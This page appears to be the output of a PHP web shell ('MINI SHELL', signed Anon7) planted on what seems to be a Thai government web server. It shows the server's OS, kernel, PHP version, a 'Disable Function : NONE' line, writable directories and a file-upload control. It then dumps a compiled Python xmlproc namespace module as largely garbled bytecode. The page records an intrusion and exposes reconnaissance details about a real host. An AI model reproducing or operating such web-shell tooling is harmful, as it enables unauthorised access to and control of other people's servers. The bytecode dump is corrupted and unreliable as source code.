MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/parsers/xmlproc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/parsers/xmlproc/namespace.pyo
mò
ê/<c@sKdZdkZdkZdeifd„ƒYZdefd„ƒYZdS(sš
A parser filter for namespace support. Placed externally to the parser
for efficiency reasons.

$Id: namespace.py,v 1.5 2001/12/30 12:09:14 loewis Exp $
NtParserFiltercBsƒtZdZd„Zd„Zd„Zd„Zd„Zd„Zd„Z	d„Z
d	„Zd
„Zd„Z
d„Zd
„ZRS(sA generic parser filter class.cCs#tii|ƒtiƒ|_dS(N(txmlapptApplicationt__init__tselftapp(R((tF/usr/lib/python2.4/site-packages/_xmlplus/parsers/xmlproc/namespace.pyRscCs
||_dS(s)Sets the application to report events to.N(RR(RR((Rtset_applicationscCs'tii||ƒ|ii|ƒdS(N(RRtset_locatorRtlocatorR(RR	((RRscCs|iiƒdS(N(RRt	doc_start(R((RR
scCs|iiƒdS(N(RRtdoc_end(R((RR!scCs|ii|ƒdS(N(RRthandle_commenttdata(RR
((RR$scCs|ii||ƒdS(N(RRthandle_start_tagtnametattrs(RRR((RR'scCs|ii|ƒdS(N(RRthandle_end_tagR(RR((RR*scCs|ii|||ƒdS(N(RRthandle_dataR
tstarttend(RR
RR((RR-scCs|ii|||ƒdS(N(RRthandle_ignorable_dataR
RR(RR
RR((RR0scCs|ii||ƒdS(N(RRt	handle_pittargetR
(RRR
((RR3scCs|ii|||ƒdS(N(RRthandle_doctypetroottpubIDtsysID(RRRR((RR6scCs|ii|||ƒdS(N(RRtset_entity_infotxmlvertenctsddecl(RRRR((RR9s(t__name__t
__module__t__doc__RRRR
RRRRRRRRR(((RR
s												tNamespaceFiltercBs>tZdZd„Zd„Zd„Zd„Zed„ZRS(s±An xmlproc application that processes qualified names and reports them
    as 'URI local-part' names. It reports errors through the error reporting
    mechanisms of the parser.cCs5ti|ƒh|_g|_d|_||_dS(Ni(RRRtns_maptns_stacktrep_ns_attrstparser(RR'((RRCs

			cCs
||_dS(s>Tells the filter whether to report or delete xmlns-attributes.N(tactionRR&(RR(((Rtset_report_ns_attributesJscCsh}g}x |iƒD]\}}|d djo\|d}ti|dƒdjo|i
idƒn|djo|i
idƒq¬n|djo
d}nq|ii
|ƒo|i|||<n|i|ƒ|djo|djo|i|=n||i|<|ip||=qqW|ii||fƒ|i|ƒ}ti|ƒ}t|ƒd	jo|d
}	nd}	xa|iƒD]S\}}||=|i||	ƒ}
|i
|
ƒo|i
idƒn|||
<q—W|ii||ƒdS(Nisxmlns:t:iÿÿÿÿiltimtxmlnsiiio(told_nstdel_nsRtitemstatvtprefixtstringtfindRR'treport_errorR$thas_keytappendR&R%t_NamespaceFilter__process_nameRtsplittpartstlentnstNonetanameRR(RRRR0R-R2R:R.R1R<R>((RRPsF








cCsk|i|ƒ}|id\}}|id=|ii|ƒx|D]}|i|=qCW|i	i
|ƒdS(Niÿÿÿÿ(RR8RR%R-R.R$tupdateR2RR(RRR2R.R-((RR†s
cCsti|dƒ}t|ƒdjo|iidƒ|SnØt|ƒdjoh|ddjo|Sny!d|i|d|dfSWqt	j
o|iidƒ|SqXn]|djod||fSn>|iid	ƒo&|djod|id	|fSn|SdS(
NR*iiliR,s%s %siinR+(
R3R9RtnR;RR'R5R$tKeyErrort
default_toR=R6(RRRBR@((Rt__process_name•s"!

 (	R R!R"RR)RRR=R8(((RR#>s			6	(R"R3RRRR#(R#R3RR((Rt?s		1

Anon7 - 2021